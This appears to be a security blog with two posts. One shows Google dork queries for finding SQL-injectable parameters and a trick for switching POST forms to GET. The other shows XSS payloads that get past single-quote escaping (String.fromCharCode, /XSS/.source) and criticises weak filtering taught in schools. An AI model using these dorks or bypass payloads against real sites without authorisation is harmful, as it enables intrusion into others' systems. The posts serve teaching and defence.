Security Reliks

SQL Injection is a powerful attack that exists today. It is found in web applications that interact with databases.

What Is SQL Injection?

The attack itself involves breaking out of the context of a developer defined SQL query and inserting your own logic in place. It is a result of inproper validation of user input, and programmer neglect of secure programming practices. If SQL Injection is completely new to you, I would recommend the following reading:

• Injection Theory
• SQL Injection

Discovery

There are a plethora of tools available to help you with SQL Injection. I will spare you the endless lists of tools, and show you the underlying techniques. First of all, let us discover some possible attack points. One of my favorite tools for this is Google! A query like the following can be used to find targets:

site:targetOfPentest.com inurl:"id=1"

In this example, we tell google to only search our target site (site:<testing target>), and for URLs that contain the string “id=1″ (inurl:”<search string literal>”). A note, Google excludes certain symbols like = and ? unless relevent. That is why i add the 1. It can really be anything you want. The reason this query works is simple. In many cases parameters for a specific request will contain actual ids reflecting the database. For instance, an id parameter may be used in a request to fetch its matching id from the server. Now, there is an underlying principle here that I had drilled into me by an Oracle ACE: NEVER reveal a primary key to the user. But back to the point, you see here that you can search for request parameters with names that may reflect their usage in the database. Here is a list I like:

• userid=
• index=
• form=
• username=

As another general rule, I look for parameters where the values are numbers, however in some cases strings are valuable.

There are also other types of google searches that are valuable. These take a little bit more searching testing, but they can give some great hits:

... inurl:login.(asp|php)[...]

In this case I am looking for certain pages that have specific functionality. I used the | seperated notation to indicate that I am looking for login.asp, and login.php pages. If you notice, the elipses (…)is in square brackets. This has to do with the request type. For example, in a GET request will include its parameters and values within the URL, whereas a POST request will hide the parameters in the message. So, if you include some extra logic, you will find examples of specific functioning pages which use GET requests. An example of this would be:

inurl:"login.(asp|php) inurl:"id=1"

For some reason, Google will pick up “login.asp?id=1″ (meaning, it will include the ? ). You can discovere different result sets byutilizing a closing double-quote on the first inurl statement, or removing them altogether. Play around with it.

What about POST requests?

Well, there are a few ways I like to deal with POST requests. Both are pretty simple. The manual way I use to see if the parameters are even semi-injectable is quite straight forward. Do the following:

1. Open firebug, or use another debugger (Chrome’s Inspector, etc).
2. Locate the form you want to test
3. Literally change “POST”, to “GET”
4. Submit the form with dummy data

Now look at the URL. It will have the parameters of the request included there. Now, when your actually testing for SQL injection, you dont want to rely on the replaying of this URL over and over. Instead you should use some sort of inline/local proxy. My favorite (because its easy) is TamperData, a firefox extension.

I think that is probably enough about simple discovery of SQL Injection targets with Google. I am sure there are more and better searches out there, please feel free to comment with your own favorites.

Stay tuned for more posts on SQL injection.

I am often alarmed at some things some professors say, and even more so about things that they do.

For example. When programming in PHP it is more than easy to become susceptible to XSS and SQL Injection. For the uninformed, utilizing things like magic_quotes to prevent such attacks may seem simple enough. The following is a simple case-study:

<script>alert('XSS');</script> <---- Will Execute

the above code in any completely unfiltered use would cause an alert box to appear. To prevent this some developers figure, “well, if we can prevent them from using single quotes, then we can prevent that”. In their code they will then cause escaping of all single quotes to prevent the execution of any injected code. So for instance, instead of causing a pop-up, the following text would appear:

<script>alert(\'XSS\');</script>   <----- Will NOT execute

Great…. for that one use case; but then not even…

Not to mention the numerous types of things you can do with XSS / SQL Injection without utilizing the single quote, there are simple way to bypass such “filtering”:

<script>alert(String.fromCharCode(88,83,83));</script>

<script>alert(/XSS/.source);</script>

Both of the above examples will cause the same exact pop-up as my first example. All without using single-quotes; nothing to be excited about at all. This example is virtually pointless, however, it proves a point.

The point is that as long as education personnel will teach insufficient filtering, as well as have these vulnerabilities on their own sites, we (the security professional) will have great job security (pun intended). I dont know if I should thank them, or be disgusted?

for more XSS bypasses, check out RSnakes cheat sheet here.